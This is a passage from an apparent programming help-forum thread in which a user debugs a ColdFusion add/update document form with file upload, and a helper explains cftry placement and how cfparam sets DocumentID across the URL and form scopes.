   <p><strong>Document Abstract</strong></p>
   <cfoutput>
   <textarea name="DocumentAbstract" cols="40" rows="5" wrap="virtual">#form.DocumentAbstract#</textarea>
   </cfoutput>
  </td>
 </tr>
 
 
 <tr>
  <td>
   <p><strong>Publication Date (use form MM/DD/YYYY)</strong></p>
   <cfinput type="Text"
            name="DocumentPublicationDate"
            value="#form.DocumentPublicationDate#"
            message="Publication Date must be a valid date!"
            required="no"
            validate="date"
            validateAt="onSubmit,onServer"
            size="10"
            maxlength="10" />
  </td>
 </tr>


<tr>
  <td>
  
   <!--- display the files currently associated with the document --->


<p>Below, please see the files currently associated with Document ID <strong><cfoutput>#URL.DocumentID#</cfoutput></strong>. If there are no files associated with the document, then no files will appear below. You have the option to upload a file (PDF, DOC, image file), which will associate the file with Document ID <strong><cfoutput>#URL.DocumentID#</cfoutput></strong>.</p>

  <cfquery name="getFiles" datasource="#ds#">
    select * from tbl_CEP_files where DocumentID = #val(form.DocumentID)#
  </cfquery>
  <cfif getFiles.recordCount>
   <table class="table_admin">
     <tr>
      <th>File Name</th>
      <th>Delete</th>
     </tr>
     <cfloop query="getFiles">
     <tr>
       <td>#getFiles.fileName#</td>
       <td><input type="Checkbox" name="deleteFileID" value="#getFiles.fileID#"></td>
     </tr>
     </cfloop>
   </table>
  </cfif>

  </td>
 </tr>

 <tr>
  <td>
  
 
  <!--- If there is a file to upload, do so here --->

 <!--- test to see if there is a file to upload --->
  
  <cfif len(form.fileName)>
 
<p>Upload a file: MS Word, MS Excel, PDF, JPEG, GIF, or PNG:</p>

<cfset requestTimeout="5000000" />
  <cfset files = "doc,docx,jpg,jpeg,png,gif,pdf,ppt,xls,xlsx,txt">
  <cfset destination ="c:\upload\cep-dc.org\">
 <cfset filter ="application/vnd.ms-word, application/vnd.msword, application/msword, image/jpg, image/jpeg, image/png, image/gif, application/pdf, application/vnd.ms-powerpoint, application/vnd.ms-excel, text/plain">
 
 <cfelse>
 
 </cfif>
 
</td>

 </tr>
</table>


  <!--- input field for file upload --->

<cfinput type="file" size="25" accept="application/msexcel,application/msword,application/pdf,image/gif,image/jpeg,image/x-png" name="FileName" class="btn" onmouseover="this.className='btn btnhov'" onmouseout="this.className='btn'" />





  <!--- submit form to ColdFusion for processing --->
<cfoutput>
  <input name="doSave" type="submit" value="#ButtonText#" class="btn" onmouseover="this.className='btn btnhov'" onmouseout="this.className='btn'" />
</cfoutput>




</cfform>


<!--- Page footer --->
<cfinclude template="cep_footer.cfm" />

Open in new window

0
gdemariaCommented:
While you did copy the file upload action to your form-post processing area correctly, you also left it down in your form area.   The portion you left inside your form can be removed.



Of the code that follows, this is the only line that you need in your form, the instruction to the user.   The rest if associated with the file upload and should exist in your form processing area ONLY.

<p>Upload a file: MS Word, MS Excel, PDF, JPEG, GIF, or PNG:</p>


Remove all the rest of this from your form area...

  <!--- If there is a file to upload, do so here --->

 <!--- test to see if there is a file to upload --->
  
  <cfif len(form.fileName)>
 
<p>Upload a file: MS Word, MS Excel, PDF, JPEG, GIF, or PNG:</p>

<cfset requestTimeout="5000000" />
  <cfset files = "doc,docx,jpg,jpeg,png,gif,pdf,ppt,xls,xlsx,txt">
  <cfset destination ="c:\upload\cep-dc.org\">
 <cfset filter ="application/vnd.ms-word, application/vnd.msword, application/msword, image/jpg, image/jpeg, image/png, image/gif, application/pdf, application/vnd.ms-powerpoint, application/vnd.ms-excel, text/plain">
 
 <cfelse>
 
 </cfif>

Open in new window

0
Eric BourlandAuthor Commented:
ha. I sure did. thank you. working on this now.
0
gdemariaCommented:
Why did you move <CFTRY> so far down in your action processing area?

Your starting <CFTRY> is now located only around your file upload code.   That means any error that may be throw by your insert/update of documents will result in an uncaught coldfusion error.   That includes the errors you throw for required documentTitle and documentType.   When you throw this error...

 <cfthrow message="Document Title is required">

There is nothing to catch is anymore.  So the user will get a nasty CF error.

Your <cftry></cftry> tags should surround all your action handling, database transactions and validations so that any error can be caught and returned gracefully to the user.
0
Eric BourlandAuthor Commented:
You know, I was wondering about placement of the CFTRY tag. I thought about that a lot while I was working on this page.

This is very helpful. I was thinking ... the CFTRY tag shouldn't enclose ALL of that code. But apparently it can and should.

Working on this.

Thank you again. Hope you are well.
0
Eric BourlandAuthor Commented:
OK, progress!

First, for clarity, I edited the Control Panel page: http://ebwebwork.com/cep/admin/

Now the link at the top says, simply, Add a Document, rather than Add / Update a document.

To update a document, one clicks the Edit link next to the document's ID in the http://ebwebwork.com/cep/admin/ page.

I can now click the Edit link and I get the Edit / Update form -- with no error. So I have placed my CFTRY correctly. I started the CFTRY just below the datasource:

 <!--- Set datasource --->
 <cfset ds="ebwebwork">
 
 <!---- begin CFTRY; catch any errors, whether you throw them or the database does; and to test that file were uploaded successfully, or not  ---->
 <cftry>  
 

<!---- populate this with an error message ---->
<cfset variables.error = ""> 


<!--- begin form.doSave to prevent form action processing as soon as page loads; and to validate, insert/update record --->
<cfif IsDefined("FORM.doSave")>


and ended it just before  <cfif len(variables.error) eq 0> ... this makes orderly sense to me now.

Thanks for helping me with that.

I am still getting an error when I try to Add a document: "Element DOCUMENTID is undefined in URL." But I am reviewing your responses, above, to see how to fix this. More to come. Thank you!
0
Eric BourlandAuthor Commented:
To resolve the "Element DOCUMENTID is undefined in URL." error  I followed your advice and defined variable DocumentID thusly:

<cfparam name="URL.DocumentID" default="">
<cfparam name="form.DocumentID" default="#URL.DocumentID#">

I've two questions now.

At the top of my document I have defined form.DocumentID twice over:

<cfparam name="form.DocumentID" default="">
<cfparam name="form.FileID" default="">
<cfparam name="URL.DocumentID" default="">
<cfparam name="form.DocumentID" default="#URL.DocumentID#">

I think I can take away <cfparam name="form.DocumentID" default=""> because we want variable "form.DocumentID" to be defined by the URL scope at all times -- thus,

<cfparam name="form.DocumentID" default="#URL.DocumentID#">

right?

Or no -- that can't be right. Which leads into my second, related question.

On http://ebwebwork.com/cep/admin/, when I click Add a Document, I am sent correctly to the Add Document interface.

But when I Edit a document, I am also sent to the Add Document interface -- the form fields are blank and waiting for me to enter in a new document.

I think I need to move around this code:

<!----- if record already exists (it will have an ID) then update it; otherwise, add new record... ----->
<cfif val(form.documentID)>
  <cfset FormTitle="Update a Document">
  <cfset ButtonText="Update">
<cfelse>
  <cfset FormTitle="Add a Document">
  <cfset ButtonText="Add Document">
</cfif>

So that ColdFusion knows when to present the Add Document Interface, and when to present the Edit Document interface.

And I think this ties in with the defining of URL.DocumentID above.

Can I have your guidance on this? Thank you!

Hope your day is going well.

Eric
<!--- Page header --->
<cfinclude template="cep_header.cfm" />

 <!--- Set default value for DocumentID and FileID in scope FORM --->
<cfparam name="form.DocumentID" default="">
<cfparam name="form.FileID" default="">
<cfparam name="URL.DocumentID" default="">
<cfparam name="form.DocumentID" default="#URL.DocumentID#">




 <!--- Set datasource --->
 <cfset ds="ebwebwork">
  
 <!---- begin CFTRY; catch any errors, whether you throw them or the database does; and to test that file were uploaded successfully, or not  ---->
 <cftry>  
 

<!---- populate this with an error message ---->
<cfset variables.error = ""> 


<!--- begin form.doSave to prevent form action processing as soon as page loads; and to validate, insert/update record --->
<cfif IsDefined("FORM.doSave")>

  
<!--- make sure that documentTitle and documentType are entered --->  
    <cfif len(form.DocumentTitle) eq 0>
	  <cfthrow message="Document Title is required">
	</cfif>
    <cfif len(form.DocumentType) eq 0>
	  <cfthrow message="Document Type is required">
	</cfif>


 <!--- in this query select NOTHING from table tbl_CEP_documents, and simply check if DocumentTitle exists --->
 
 <cfquery datasource="#ds#" name="CheckDocumentTitle">
  SELECT 'Nothing' FROM tbl_CEP_Documents
  WHERE DocumentTitle = <CFQUERYPARAM CFSQLTYPE="cf_sql_varchar" VALUE="#Form.DocumentTitle#">
  </cfquery>
   
  
  
   <!--- if DocumentTitle exists, throw error; refuse record insert --->
   
	<cfif CheckDocumentTitle.recordcount GT 0>
	   <cfthrow message="The Document Title is already taken; please enter another title">
	</cfif>
    
    
   
    <!--- query to update existing document --->
    
    <!--- begin CFIF val(form.DocumentID) --->
	<cfif val(form.DocumentID)> 
		
                
        <cfquery name="UpdateDocument" datasource="#ds#">
		 UPDATE tbl_CEP_Documents
  SET   DocumentTitle = <cfqueryparam cfsqltype="cf_sql_varchar"  value="#Trim(form.DocumentTitle)#">,
		DocumentType = <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(form.DocumentType)#">,
		DocumentAuthor = <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(form.DocumentAuthor)#">,
	    DocumentAbstract = <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(form.DocumentAbstract)#">,
	    DocumentPublicationDate = <cfqueryparam cfsqltype="cf_sql_date" value="#Trim(form.DocumentPublicationDate)#">,
	    DateRecordModified = <cfqueryparam cfsqltype="cf_sql_timestamp" value="#now()#">
  WHERE DocumentID = <cfqueryparam cfsqltype="cf_sql_integer" value="#form.DocumentID#">
		</cfquery>
        
        
        
	<cfelse> 
	
	
	<!---- query to insert new document ---->
        
		<cfquery name="InsertDocument" datasource="#ds#">
	 INSERT INTO tbl_CEP_Documents(DocumentTitle,
                    DocumentType,
                    DocumentAuthor,
                    DocumentAbstract,
                    DocumentPublicationDate,
                    SSMA_TimeStamp)
  VALUES(
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(form.DocumentTitle)#">,
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(form.DocumentType)#">,
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(form.DocumentAuthor)#">,
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(form.DocumentAbstract)#">,
  <cfqueryparam cfsqltype="cf_sql_date" value="#Trim(form.DocumentPublicationDate)#">,
  CURRENT_TIMESTAMP
         )         
		</cfquery>
        
        


<!--- fetch the identify column's value --->
        
		<cfquery name="GetPkey" datasource="#ds#">
          select SCOPE_IDENTITY( ) as ID
        </cfquery>  
        <cfset form.DocumentID = GetPkey.ID>






 <!--- upload a file using CFFILE --->
  <cffile action="upload" filefield="FileContents" destination="#destination#" nameconflict="overwrite" accept = "application/vnd.ms-word, application/vnd.msword, application/msword, image/jpg, image/jpeg, image/png, image/gif, application/pdf, application/vnd.ms-powerpoint, application/vnd.ms-excel, text/plain">

<cfif listFindNoCase("doc,docx,jpg,jpeg,png,gif,pdf,ppt,xls,xlsx,txt", cffile.serverFileExt) eq 0>
    <cfthrow message="File did not upload; make sure to upload only permitted file types">
</cfif>
  
       <!--- everything went ok, go to next page; this is the page re-direct --->
      <cflocation url="#cgi.script_name#?DocumentID=#form.DocumentID#" addtoken="No">

  

    <!--- end CFIF val(form.DocumentID) --->
    </cfif>
    
     
     


  <!--- end form.doSave --->
</cfif>


       <!--- this CFCATCH will trap errors -- the ones you threw or just regular database issues --->
  <cfcatch type="Any">
    <cfset variables.error = cfcatch.message>
     <cfrethrow>
  </cfcatch>
  
  <!--- end CFTRY --->  
</cftry>



<!--- only fetch the data from the database when there are no errors.
      if an error exists, then let the form variables pass back into the form to display ---->
 
  <cfif len(variables.error) eq 0>
    
  <!--- get data from table tbl_CEP_Documents and convert the data into form variables --->
  <cfquery name="getDocumentDetails" datasource="#ds#">
    select * from tbl_CEP_Documents where DocumentID = #val(form.DocumentID)#
  </cfquery>
  <cfloop index="aCol" list="#getDocumentDetails.columnList#">
       <cfset "form.#aCol#" = getDocumentDetails[aCol][getDocumentDetails.currentRow]>
  </cfloop>
    
</cfif>




<!--- if there an error, display error --->

<cfif len(variables.error)> 
 <cfoutput>
 <div style="border: 1px solid red; padding: 5px 10px 5px 10px; width:400px;">#variables.error#</div>
 </cfoutput>
</cfif>



<!----- if record already exists (it will have an ID) then update it; otherwise, add new record... ----->
<cfif val(form.documentID)>
  <cfset FormTitle="Update a Document">
  <cfset ButtonText="Update">
<cfelse>
  <cfset FormTitle="Add a Document">
  <cfset ButtonText="Add Document">
</cfif>



  
<!--- Add or Update Document Form begins here --->
<cfform method="post">


 <!--- Embed documentID (PK) and fileID as hidden fields --->
 <cfoutput>
<input type="hidden" name="documentID" value="#form.documentID#" />
<input type="hidden" name="fileID" value="#form.fileID#" />
  
 </cfoutput>

   <cfoutput>
<h2>#FormTitle#</h2>
   </cfoutput>


<table class="table_admin">

 <tr>
  <td>
<p><strong>Document ID: <cfoutput>#URL.DocumentID#</cfoutput></strong></p>
  </td>
 </tr>

 <tr>
  <td>
   <p><strong>Document Title</strong></p>
   <cfinput type="Text"
            name="DocumentTitle"
            value="#form.DocumentTitle#"
            message="Document title is required!"
            required="Yes"
            validateAt="onSubmit,onServer"
            size="50"
            maxlength="100" />
  </td>
 </tr>
 <tr>
  <td>
   <p><strong>Document Type</strong></p>
   <select name="DocumentType" value="#form.DocumentType#" message="Please choose Document Type from the Document Type Select Menu" required="Yes" validateAt="onSubmit,onServer" >            <option value="Report">Report</option>
            <option value="Press Release">Press Release</option>
            <option value="Article">Article</option>
            <option value="Summary">Summary</option>
            <option value="Letter">Letter</option>
            <option value="Audio Transcript">Audio Transcript</option>
            <option value="Text Transcript">Text Transcript</option>
   </select>
            
          
  </td>
 </tr>


 <tr>
  <td>
   <p><strong>Document Author</strong></p>
   <cfinput type="Text"
            name="DocumentAuthor"
            value="#form.DocumentAuthor#"
            message="Enter Document Author Name"
            required="yes"
            validateAt="onSubmit,onServer"
            size="10"
            maxlength="100" />
  </td>
 </tr>

 <tr>
  <td>
   <p><strong>Document Abstract</strong></p>
   <cfoutput>
   <textarea name="DocumentAbstract" cols="40" rows="5" wrap="virtual">#form.DocumentAbstract#</textarea>
   </cfoutput>
  </td>
 </tr>
 
 
 <tr>
  <td>
   <p><strong>Publication Date (use form MM/DD/YYYY)</strong></p>
   <cfinput type="Text"
            name="DocumentPublicationDate"
            value="#form.DocumentPublicationDate#"
            message="Publication Date must be a valid date!"
            required="no"
            validate="date"
            validateAt="onSubmit,onServer"
            size="10"
            maxlength="10" />
  </td>
 </tr>


<tr>
  <td>
  
   <!--- display the files currently associated with the document --->


<p>Below, please see the files currently associated with Document ID <strong><cfoutput>#URL.DocumentID#</cfoutput></strong>. If there are no files associated with the document, then no files will appear below. You have the option to upload a file (PDF, DOC, image file), which will associate the file with Document ID <strong><cfoutput>#URL.DocumentID#</cfoutput></strong>.</p>

  <cfquery name="getFiles" datasource="#ds#">
    select * from tbl_CEP_files where DocumentID = #val(form.DocumentID)#
  </cfquery>
  <cfif getFiles.recordCount>
   <table class="table_admin">
     <tr>
      <th>File Name</th>
      <th>Delete</th>
     </tr>
     <cfloop query="getFiles">
     <tr>
       <td>#getFiles.fileName#</td>
       <td><input type="Checkbox" name="deleteFileID" value="#getFiles.fileID#"></td>
     </tr>
     </cfloop>
   </table>
  </cfif>

  </td>
 </tr>

</table>


  <!--- input field for file upload --->

<cfinput type="file" size="25" accept="application/msexcel,application/msword,application/pdf,image/gif,image/jpeg,image/x-png" name="FileName" class="btn" onmouseover="this.className='btn btnhov'" onmouseout="this.className='btn'" />




  <!--- submit form to ColdFusion for processing --->
<cfoutput>
  <input name="doSave" type="submit" value="#ButtonText#" class="btn" onmouseover="this.className='btn btnhov'" onmouseout="this.className='btn'" />
</cfoutput>




</cfform>


<!--- Page footer --->
<cfinclude template="cep_footer.cfm" />

Open in new window

0
Eric BourlandAuthor Commented:
I find that if I take away:

<cfparam name="form.DocumentID" default="#URL.DocumentID#">

Both Add and Edit forms display correctly. So my assumption is, I do not need the above?

Yet my understanding is, we wish to convert all FORM and URL variables to one scope. Per your note above.

When I click on Edit, I notice that the form does not populate with data, to be edited, from table tbl_CEP_Documents. Except the form does call in DocumentID correctly ... for example, when I try to edit DocumentID=27, the Edit form displays the correct DocumentID. For example:

http://ebwebwork.com/cep/admin/insert_update.cfm?DocumentID=27

.. but the Edit form does not populate the other fields with the existing information for DocumentID=27, such as Title, Abstract, and Author.

I am looking to see why the DocumentID appears correctly, but not the other table column data (Title, Abstract, Author, Publication Date).

0
gdemariaCommented:


<cfparam name="form.DocumentID" default="">
<cfparam name="form.FileID" default="">
<cfparam name="URL.DocumentID" default="">
<cfparam name="form.DocumentID" default="#URL.DocumentID#">


Let's walk through it...

create form.documentID is it does not exist and give it empty value
<cfparam name="form.DocumentID" default="">

Form.documentID now exists with no value


<cfparam name="form.FileID" default="">
Let's skip this as it's unrelated to the current issue


Create URL.documentID if it does not exist.
<cfparam name="URL.DocumentID" default="">

URL.documentID already exists becaue documentID=27 was passed on the URL.

at this point (from the above) we have ...

 form.documentID = ""
 url.documentID = 27


Create form.documentID if it does not exist.  give it the value of url.documentID
<cfparam name="form.DocumentID" default="#URL.DocumentID#">

form.documentID already exists because of the first line.  There, this line does nothing.

The result...

 form.documentID = ""
 url.documentID = 27


In your code you use form.documentID everywhere, and the value is always ""  because of the preceding code.

0
Eric BourlandAuthor Commented:
I am studying this. I am really grateful that you take time to teach me this stuff rather than just giving me the answer.
0
Eric BourlandAuthor Commented:
>>>URL.documentID already exists because documentID=27 was passed on the URL.

I think this is the crux of the matter. I don't need to define variable documentID in the URL scope. And I need to change all instances of form.documentID to URL.documentID.

I THINK this is what you mean. I'm going to try it.
0
gdemariaCommented:
no
0
gdemariaCommented:
spoiler alert, in case you have trouble with the answer (you're right I did not directly say it)

read on...









 You need this line to put the URL.documentID into FORM.documentID

<cfparam name="form.DocumentID" default="#URL.DocumentID#">

 But this line does not do anything if form.documentID already exists.


 So, does form.documentID already exist?    When you link to the page from your document list, form.documentID does NOT exist (which is good because the above line WILL work).


 Oh no, wait, you have this at the top of your page...


   <cfparam name="form.DocumentID" default="">

Now form.documentID exists.



So when you get to this line a few more down...

 <cfparam name="form.DocumentID" default="#URL.DocumentID#">

It will do NOTHING because form.documentID exists.   So the URL.documentID is never put into form.document ID.


You must remove the first line that creates form.documentID so the next cfparam does it the right way



0
Eric BourlandAuthor Commented:
OK, I understand that I was defining form.DocumentID twice, which was an error.

At the top of my page I have this now:

 <!--- Set default value for DocumentID and FileID in scope FORM --->
<cfparam name="form.FileID" default="">
<cfparam name="URL.DocumentID" default="">
<cfparam name="form.DocumentID" default="#URL.DocumentID#">

And, holy monkey, the Edit function now works. OK, I get it. =)

So, do I have these three statements in correct order? I will think it through:

Set default value for FileID in scope FORM:
<cfparam name="form.FileID" default="">

Set default value for DocumentID in scope URL:
<cfparam name="URL.DocumentID" default="">

Last, combine the first two: define DocumentID in scope form and set it equal to the DocumentID passed in the URL:
<cfparam name="form.DocumentID" default="#URL.DocumentID#">

That seems orderly and logical to me. Do you agree?
0
Eric BourlandAuthor Commented:
Like so:

 <!--- Set default value for FileID in scope FORM: --->
<cfparam name="form.FileID" default="">

 <!--- Set default value for DocumentID in scope URL: --->
<cfparam name="URL.DocumentID" default="">

 <!--- Define DocumentID in scope FORM, then set form.DocumentID equal to the DocumentID passed in the URL: --->
<cfparam name="form.DocumentID" default="#URL.DocumentID#">
0
gdemariaCommented:
right-on !
0
Eric BourlandAuthor Commented:
Sweet. I understand this much, so far. =) And I feel like I am making progress -- thanks to your patience.

I think there is a problem with the CheckDocumentTitle function that we set up on line 47.  When I try to update (not Add) a record, I get this error:

 The Document Title is already taken; please enter another title
 
The error occurred in C:\websites\ebwebwork.com\cep\admin\insert_update.cfm: line 48
Called from C:\websites\ebwebwork.com\cep\admin\insert_update.cfm: line 24
Called from C:\websites\ebwebwork.com\cep\admin\insert_update.cfm: line 16
Called from C:\websites\ebwebwork.com\cep\admin\insert_update.cfm: line 1

46 :    
47 :       <cfif CheckDocumentTitle.recordcount GT 0>
48 :          <cfthrow message="The Document Title is already taken; please enter another title">
49 :       </cfif>

Is there a way to:

1) get CheckDocumentTitle to distinguish between Add and Update, so that CheckDocumentTitle does not object when we Edit a record? A CFIF statement somewhere?

2) make the "The Document Title is already taken; please enter another title" appear not as a forbidding ColdFusion error page, but maybe within something like this:

<!--- if there an error, display error --->

<cfif len(variables.error)>
 <cfoutput>
 <div style="border: 1px solid red; padding: 5px 10px 5px 10px; width:400px;">#variables.error#</div>
 </cfoutput>
</cfif>

Thank you again for your time. I know I am taking up a lot of it with this task.
<!--- Page header --->
<cfinclude template="cep_header.cfm" />

 <!--- Set default value for FileID in scope FORM --->
<cfparam name="form.FileID" default="">

 <!--- Set default value for DocumentID in scope URL --->
<cfparam name="URL.DocumentID" default="">

 <!--- Define DocumentID in scope FORM, then set form.DocumentID equal to the DocumentID passed in the URL --->
<cfparam name="form.DocumentID" default="#URL.DocumentID#">




 <!--- Set datasource --->
 <cfset ds="ebwebwork">
  
 <!---- begin CFTRY; catch any errors, whether you throw them or the database does; and to test that file were uploaded successfully, or not  ---->
 <cftry>  
 

<!---- populate this with an error message ---->
<cfset variables.error = ""> 


<!--- begin form.doSave to prevent form action processing as soon as page loads; and to validate, insert/update record --->
<cfif IsDefined("FORM.doSave")>

  
<!--- make sure that documentTitle and documentType are entered --->  
    <cfif len(form.DocumentTitle) eq 0>
	  <cfthrow message="Document Title is required">
	</cfif>
    <cfif len(form.DocumentType) eq 0>
	  <cfthrow message="Document Type is required">
	</cfif>


 <!--- in this query select NOTHING from table tbl_CEP_documents, and simply check if DocumentTitle exists --->
 
 <cfquery datasource="#ds#" name="CheckDocumentTitle">
  SELECT 'Nothing' FROM tbl_CEP_Documents
  WHERE DocumentTitle = <CFQUERYPARAM CFSQLTYPE="cf_sql_varchar" VALUE="#Form.DocumentTitle#">
  </cfquery>
   
  
  
   <!--- if DocumentTitle exists, throw error; refuse record insert --->
   
	<cfif CheckDocumentTitle.recordcount GT 0>
	   <cfthrow message="The Document Title is already taken; please enter another title">
	</cfif>
    
    
   
    <!--- query to update existing document --->
    
    <!--- begin CFIF val(form.DocumentID) --->
	<cfif val(form.DocumentID)> 
		
                
        <cfquery name="UpdateDocument" datasource="#ds#">
		 UPDATE tbl_CEP_Documents
  SET   DocumentTitle = <cfqueryparam cfsqltype="cf_sql_varchar"  value="#Trim(form.DocumentTitle)#">,
		DocumentType = <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(form.DocumentType)#">,
		DocumentAuthor = <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(form.DocumentAuthor)#">,
	    DocumentAbstract = <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(form.DocumentAbstract)#">,
	    DocumentPublicationDate = <cfqueryparam cfsqltype="cf_sql_date" value="#Trim(form.DocumentPublicationDate)#">,
	    DateRecordModified = <cfqueryparam cfsqltype="cf_sql_timestamp" value="#now()#">
  WHERE DocumentID = <cfqueryparam cfsqltype="cf_sql_integer" value="#form.DocumentID#">
		</cfquery>
        
        
        
	<cfelse> 
	
	
	<!---- query to insert new document ---->
        
		<cfquery name="InsertDocument" datasource="#ds#">
	 INSERT INTO tbl_CEP_Documents(DocumentTitle,
                    DocumentType,
                    DocumentAuthor,
                    DocumentAbstract,
                    DocumentPublicationDate,
                    SSMA_TimeStamp)
  VALUES(
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(form.DocumentTitle)#">,
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(form.DocumentType)#">,
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(form.DocumentAuthor)#">,
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(form.DocumentAbstract)#">,
  <cfqueryparam cfsqltype="cf_sql_date" value="#Trim(form.DocumentPublicationDate)#">,
  CURRENT_TIMESTAMP
         )         
		</cfquery>
        
        


<!--- fetch the identify column's value --->
        
		<cfquery name="GetPkey" datasource="#ds#">
          select SCOPE_IDENTITY( ) as ID
        </cfquery>  
        <cfset form.DocumentID = GetPkey.ID>






 <!--- upload a file using CFFILE --->
  <cffile action="upload" filefield="FileContents" destination="#destination#" nameconflict="overwrite" accept = "application/vnd.ms-word, application/vnd.msword, application/msword, image/jpg, image/jpeg, image/png, image/gif, application/pdf, application/vnd.ms-powerpoint, application/vnd.ms-excel, text/plain">

<cfif listFindNoCase("doc,docx,jpg,jpeg,png,gif,pdf,ppt,xls,xlsx,txt", cffile.serverFileExt) eq 0>
    <cfthrow message="File did not upload; make sure to upload only permitted file types">
</cfif>
  
       <!--- everything went ok, go to next page; this is the page re-direct --->
      <cflocation url="#cgi.script_name#?DocumentID=#form.DocumentID#" addtoken="No">

  

    <!--- end CFIF val(form.DocumentID) --->
    </cfif>
    
     
     


  <!--- end form.doSave --->
</cfif>


       <!--- this CFCATCH will trap errors -- the ones you threw or just regular database issues --->
  <cfcatch type="Any">
    <cfset variables.error = cfcatch.message>
     <cfrethrow>
  </cfcatch>
  
  <!--- end CFTRY --->  
</cftry>



<!--- only fetch the data from the database when there are no errors.
      if an error exists, then let the form variables pass back into the form to display ---->
 
  <cfif len(variables.error) eq 0>
    
  <!--- get data from table tbl_CEP_Documents and convert the data into form variables --->
  <cfquery name="getDocumentDetails" datasource="#ds#">
    select * from tbl_CEP_Documents where DocumentID = #val(form.DocumentID)#
  </cfquery>
  <cfloop index="aCol" list="#getDocumentDetails.columnList#">
       <cfset "form.#aCol#" = getDocumentDetails[aCol][getDocumentDetails.currentRow]>
  </cfloop>
    
</cfif>




<!--- if there an error, display error --->

<cfif len(variables.error)> 
 <cfoutput>
 <div style="border: 1px solid red; padding: 5px 10px 5px 10px; width:400px;">#variables.error#</div>
 </cfoutput>
</cfif>



<!----- if record already exists (it will have an ID) then update it; otherwise, add new record... ----->
<cfif val(form.documentID)>
  <cfset FormTitle="Update a Document">
  <cfset ButtonText="Update">
<cfelse>
  <cfset FormTitle="Add a Document">
  <cfset ButtonText="Add Document">
</cfif>



  
<!--- Add or Update Document Form begins here --->
<cfform method="post">


 <!--- Embed documentID (PK) and fileID as hidden fields --->
 <cfoutput>
<input type="hidden" name="documentID" value="#form.documentID#" />
<input type="hidden" name="fileID" value="#form.fileID#" />
  
 </cfoutput>

   <cfoutput>
<h2>#FormTitle#</h2>
   </cfoutput>


<table class="table_admin">

 <tr>
  <td>
<p><strong>Document ID: <cfoutput>#URL.DocumentID#</cfoutput></strong></p>
  </td>
 </tr>

 <tr>
  <td>
   <p><strong>Document Title</strong></p>
   <cfinput type="Text"
            name="DocumentTitle"
            value="#form.DocumentTitle#"
            message="Document title is required!"
            required="Yes"
            validateAt="onSubmit,onServer"
            size="50"
            maxlength="100" />
  </td>
 </tr>
 <tr>
  <td>
   <p><strong>Document Type</strong>&l